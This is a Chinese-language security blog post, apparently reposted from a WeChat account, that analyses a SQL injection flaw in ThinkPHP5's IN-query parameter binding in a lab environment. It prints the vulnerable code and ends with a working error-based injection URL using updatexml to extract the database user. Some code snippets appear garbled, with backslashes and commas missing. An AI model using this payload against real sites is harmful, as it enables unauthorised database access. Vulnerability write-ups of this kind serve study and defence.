ThinkPHP5 SQL注入漏洞漏洞

admin 2024年2月15日19:28:52评论13 views字数 2279阅读7分35秒阅读模式

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息或工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任!如有侵权请告知我们立即删除。

1. 环境搭建

利用vulnb一键搭建,漏洞文件路径:thinkpphp/in-sqlinjection

2. 漏洞背景

Thinkphp是一个快速、兼容而且简单的轻量级国产PHP开发框架,使用面向对象的开发机构和MVC模式,可以支持Windows/UNIX/Linux等服务器环境,正式版需要PHP5.0以上版本支持。

3. 漏洞解析

<?php
namespace appindexcontroller;

use appindexmodelUser;

class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id''in'$ids)->select();
    }
}

如果控制了in语句位置,即可通过传入一数组来造成SQL注入漏洞。

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.''-'], '_'$field);
if (preg_match('/W/'$bindName)) {
    // 处理带非单词字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN''IN'])) {
    // IN 查询
    if ($value instanceof Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(','$value);
        if (array_key_exists($field$binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v$bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(','$array);
        } else {
            $zone = implode(','$this->parseValue($value$field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }
这段代码是针对字段名和IN查询的处理。通过条件判断,对字段名 bindName 进行了处理,如果存在非单词字符,使用 MD5 哈希进行了转换。在处理 IN 查询时,它检查了查询中的值。如果 value 是闭包(Closure),则通过解析闭包生成 SQL 语句,否则,会处理字段名和查询值,构造一个类似 IN 语句的 SQL 查询。
值得注意的是,其中涉及了一些关键方法和对象,如 this->query,应用了一些绑定方法以防止 SQL 注入
在代码中,对于 value 是数组的情况,是尝试将数组内的值作为 IN 查询的一部分。如果这个 $value 数组是从用户输入中得到的,恶意用户可能通过构造恶意的输入尝试进行 SQL 注入攻击。

bindName在前边进行了一次检测,正常来说是不会出现漏洞的。但如果value,并将bindName。控制了预编译SQL语句中的键名,也就说我们控制了预编译的SQL语句,这是一个典型的SQL注入漏洞。由此可见,预编译绑定虽然是一种防御SQL注入手段,但是如果其本身实现中存在缺陷,仍然可导致SQL注入漏洞的产生。

4. 漏洞复现

在参数ids[]中加入单引号就能报错。ThinkPHP5 SQL注入漏洞漏洞

构造payload获取数据库的user信息:http://127.0.0.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1ThinkPHP5 SQL注入漏洞漏洞

原文始发于微信公众号(Piusec):ThinkPHP5 SQL注入漏洞漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月15日19:28:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP5 SQL注入漏洞漏洞http://cn-sec.com/archives/2218416.html

发表评论

匿名网友 填写信息